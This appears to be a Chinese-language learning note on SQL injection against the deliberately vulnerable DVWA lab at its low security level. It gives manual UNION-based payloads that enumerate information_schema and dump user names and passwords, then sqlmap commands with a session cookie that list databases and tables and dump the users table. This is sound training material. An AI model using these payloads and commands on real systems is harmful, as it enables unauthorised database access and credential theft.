dvwa-sql-显注-low
就拿dvwa学习一下sql的手工注入,以及sqlmap的使用
做些笔记
tip
- concat_ws(1,2,3): 使用1作为连接符,连接2和3 - 方便从一个显示位,显示多种内容 
- char(32,58,32): char将其中的ascii值转成字符 - 这里是空格冒号空格 - 作为concat_ws使用,比较美观 
low
源码
| 1 | 
 | 
手工注入
- 输入 - ',发现有报错,说明很可能有sql注入
- 1' order by 2#猜解列数- order by后面加数字时,表示按第几列进行排序 - 如果没有那列的话,就会报错 - 该步的目的,是为了使用union select - 因为union select 要求两者的列数相同,才能进行查询   
- 1' union select 1,2#爆显示位- 从输入中,可以发现,两个都能显示出来 - 也就是说,每次可以查询两个地方  
- 1' union select version(),database()#- 查询一下sql版本和当前数据库名称 - sql版本很重要,因为版本>(多少我忘了><)时,会有一个 - information_schema数据库,里面有好多好多好东西 - 1' union select null,concat_ws(char(32,58,32),user(),database(),version())#- 另一种方法,会在第二个显示位一起爆出用户、数据库及其版本信息  
- 1' union select null,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #- 版本比较大,所以有 - information_schema;得知数据库名后,就可以查表了 - 可以看出dvwa中有两个表 - guestbookand- users- 明显users重要点,所以下一步查users的列 
- 1' union select null,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' # - 其中 - user和- password看起来比较重要
- 1' union select null, group_concat(concat_ws(char(32,58,32),user,password)) from users # 
- 如果不想显示在一条上,而是分开查询的话,把group_concat删了就行 - 查表 - 1' union select null,table_name from information_schema.tables where table_schema='dvwa' # 
- 查列 - 1' union select null,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' # 
- 查内容 - 1' union select null, concat_ws(char(32,58,32),user,password) from users # 
 
sqlmap
- 准备好网址 - 在id中输入1,是的url中包含参数名称 - 1 - http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# 
- 准备好cookie - 1 - security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1 
- 打开sqlmap,输入 - 1 - python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch - 康康有没有sql注入 - -u参数指定目标URL
- –batch参数采用默认选项,不进行询问
- –cookie参数指定cookie
 - 可以看到是存在注入的  
- 查看所有的数据库 - 1 - python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch --dbs - –dbs所有数据库
  
- 所以我们要用的应该是dvwa那个库,然后康康里面有什么表 - 1 - python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch -D dvwa --tables - -D参数指定为dvwa数据库
- –tables参数查看所有的表
  
- 查看users表中的列 - 1 - python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch -D dvwa -T users --columns - -T参数指定表为users
- –columns查看该表的所有列
  
- 最后看看整个表中都有什么 - 1 - python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=9v0e6li5s4iok70h3fi7al0gv1" --batch -D dvwa -T users --dump - –dump参数将所有列的信息都列出来
  
 
        